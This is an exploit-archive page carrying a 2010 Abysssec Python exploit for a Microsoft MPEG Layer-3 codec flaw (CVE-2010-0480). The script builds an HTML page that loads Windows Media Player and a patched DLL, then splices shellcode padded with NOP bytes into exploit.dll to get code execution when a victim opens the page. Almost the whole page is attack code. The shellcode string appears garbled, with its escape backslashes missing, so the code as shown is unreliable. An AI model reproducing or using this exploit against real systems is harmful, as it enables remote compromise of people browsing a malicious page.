MOAUB #5 - Microsoft MPEG Layer-3 Remote Command Execution Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : MOAUB #5 - Microsoft MPEG Layer-3 Remote Command Execution Exploit
# Published : 2010-09-05
# Author : Abysssec
# Previous Title : Backdoor password in Accton-based switches (3com, Dell, SMC, Foundry and EdgeCore)
# Next Title : MOAUB #4 - Movie Maker Remote Code Execution (MS10-016)

'''
  __  __  ____         _    _ ____  
 |  /  |/ __    /  | |  | |  _  
 |   / | |  | | /   | |  | | |_) |
 | |/| | |  | |/ / | |  | |  _ <  Day 5 (Binary Analysis)
 | |  | | |__| / ____  |__| | |_) |
 |_|  |_|____/_/    _____/|____/ 

 http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/
 http://www.exploit-db.com/sploits/moaub-5-exploit.zip

'''

'''
  Title               :  Microsoft MPEG Layer-3 Remote Command Execution Exploit
  Version             :  l3codeca.acm (XP SP2 / XP SP3)
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Ciritical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-0480

'''

import sys
import struct
def main():
   
    try:
		strHTML = '''
		<html>
		<head>
		</head>
		<body>
		<object classID="exploit.dll#exploit.Shellcode"></object>
		<OBJECT ID="MediaPlayer" CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95" CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab# Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..." TYPE="application/x-oleobject" width="280" height="46">
		<param name="fileName" value="test.avi">
		<param name="animationatStart" value="true">
		<param name="transparentatStart" value="true">
		<param name="autoStart" value="true">
		<param name="showControls" value="true">
		<param name="Volume" value="-300">
		<embed type="application/x-mplayer2" pluginspage="http://www.microsoft.com/Windows/MediaPlayer/" src="test.avi" name="MediaPlayer" width=280 height=46  autostart=1 showcontrols=1 volume=-300>
		</embed>
		</OBJECT>
		</body>
		</html> '''
		fHTML = open('index.html', 'w')
		fHTML.write(strHTML)
		fHTML.close()
		fdR = open('exploit.dll', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:1380]
		str2 = strTotal[2115:]
		shellcode = 'xEBx6Bx5Ax31xC9x6Ax10x52x42x52x51xFFxD0x53x68x7ExD8xE2x73xFFxD6x6Ax00xFFxD0xFFxD7x50x68xA8xA2x4DxBCxFFxD6xE8xDAxFFxFFxFFx00x54x68x65x20x65x78x70x6Cx6Fx69x74x20x77x61x73x20x73x75x63x63x65x73x73x66x75x6Cx21x00x5Ex6Ax30x59x64x8Bx19x8Bx5Bx0Cx8Bx5Bx1Cx8Bx1Bx8Bx5Bx08x53x68x8Ex4Ex0ExECxFFxD6x89xC7xE8xB3xFFxFFxFFx55x53x45x52x33x32x00xE8xD3xFFxFFxFFx53x55x56x57x8Bx6Cx24x18x8Bx45x3Cx8Bx54x05x78x01xEAx8Bx4Ax18x8Bx5Ax20x01xEBxE3x32x49x8Bx34x8Bx01xEEx31xFFxFCx31xC0xACx38xE0x74x07xC1xCFx0Dx01xC7xEBxF2x3Bx7Cx24x14x75xE1x8Bx5Ax24x01xEBx66x8Bx0Cx4Bx8Bx5Ax1Cx01xEBx8Bx04x8Bx01xE8xEBx02x31xC0x5Fx5Ex5Dx5BxC2x08x00'
		
		if len(shellcode) > 735:
			print "[*] Error : Shellcode length is long"
			return
		if len(shellcode) <= 735:
			dif = 735 - len(shellcode)
			while dif > 0 :
				shellcode += 'x90'
				dif = dif - 1
		fdW= open('exploit.dll', 'wb+')
		fdW.write(str1)
		fdW.write(shellcode)
		fdW.write(str2)
		fdW.close()
		fdR.close()
		print '[-] Html file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main()